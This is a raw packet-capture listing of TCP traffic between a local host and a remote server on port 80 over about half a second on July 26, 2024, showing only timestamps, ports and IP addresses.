Jul 26, 2024 10:36:15.774997950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.775015116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.775016069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.775027990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.775041103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.775058985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.775058985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.775098085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.775885105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.775897026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.775907040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.775919914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.775930882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.775933027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.775943995 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.775954962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.775963068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.775966883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.775979042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.775990963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.775995970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.775995970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.776032925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.776051998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.776725054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.776736975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.776746988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.776760101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.776772022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.776782990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.776794910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.776799917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.776799917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.776807070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.776818991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.776829958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.776837111 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.776837111 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.776842117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.776868105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.776906013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.777604103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.777616024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.777625084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.777637005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.777647972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.777653933 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.777659893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.777672052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.777683020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.777693033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.777707100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.777709961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.777718067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.777729034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.777740002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.777770996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.777770996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.778506994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.778517008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.778527975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.778533936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.778538942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.778553009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.778563976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.778573990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.778579950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.778584957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.778597116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.778608084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.778620005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.778641939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.778661013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.779479027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.779490948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.779501915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.779512882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.779524088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.779535055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.779546976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.779550076 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.779550076 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.779557943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.779568911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.779580116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.779592037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.779592037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.779592991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.779628992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.779628992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.780203104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.780214071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.780277967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.868597984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.868642092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.868675947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.868676901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.868707895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.868721962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.868721962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.868741035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.868774891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.868802071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.868813992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.868858099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.868858099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.869946957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.869980097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.869999886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.870014906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.870048046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.870049953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.870071888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.870085001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.870117903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.870151997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.870162964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.870162964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.870183945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.870188951 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.870229006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.870271921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.870304108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.870337963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.870369911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.870383024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.870383024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.870402098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.870429993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.870532990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.870574951 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.870574951 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.870919943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.870954037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.870978117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.870981932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.871026993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.871026993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.871033907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.871067047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.871099949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.871109009 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.871109009 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.871134043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.871165037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.871174097 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.871174097 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.871197939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.871229887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.871257067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.871263027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.871284008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.871284008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.871294975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.871328115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.871335983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.871335983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.871360064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.871392012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.871401072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.871401072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.871424913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.871458054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.871479988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.871479988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.871501923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.872097015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.872132063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.872164011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.872196913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.872200012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.872231007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.872253895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.872267962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.872284889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.872335911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.872369051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.872401953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.872419119 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.872435093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.872447968 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.872467041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.872509956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.872519016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.872524023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.872550011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.872570992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.872590065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.873073101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.873106956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.873140097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.873157024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.873173952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.873188972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.873207092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.873239994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.873249054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.873249054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.873271942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.873284101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.873305082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.873337030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.873347998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.873347998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.873370886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.873414040 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.873414040 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.873543978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.873577118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.873609066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.873610973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.873610973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.873641968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.873648882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.873673916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.873708010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.873717070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.873717070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.873836994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.030916929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.037204027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.213705063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.213767052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.213800907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.213875055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.213875055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.213912964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.213946104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.213963032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.213979959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.214015007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.214025974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.214025974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.214147091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.214361906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.214395046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.214427948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.214430094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.214462996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.214473963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.214473963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.214499950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.214510918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.214534044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.214545965 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.214567900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.214601040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.214612961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.214612961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.214636087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.214649916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.214747906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.214890003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.214922905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.214956045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.214965105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.214965105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.214987993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.215023041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.215034008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.215034008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.215054989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.215090036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.215091944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.215112925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.215130091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.215169907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.215177059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.215177059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.215200901 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.215234041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.215245962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.215245962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.215265989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.215300083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.215316057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.215316057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.215332985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.215364933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.215375900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.215375900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.215440989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.215706110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.215738058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.215755939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.215770006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.215781927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.215804100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.215826035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.215836048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.215869904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.215878963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.215878963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.215900898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.215934038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.215945005 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.215945005 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.215965986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.215985060 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.216000080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.216032028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.216037989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.216037989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.216067076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.216099977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.216109991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.216109991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.216135979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.216166973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.216178894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.216178894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.216206074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.216249943 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.216249943 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.216726065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.216758966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.216792107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.216823101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.216824055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.216823101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.216856956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.216866970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.216866970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.216890097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.216917992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.216933012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.216933012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.216949940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.216983080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.216995001 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.216995001 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.217015028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.217046976 CEST	80	49710	85.28.47.31	192.168.2.6
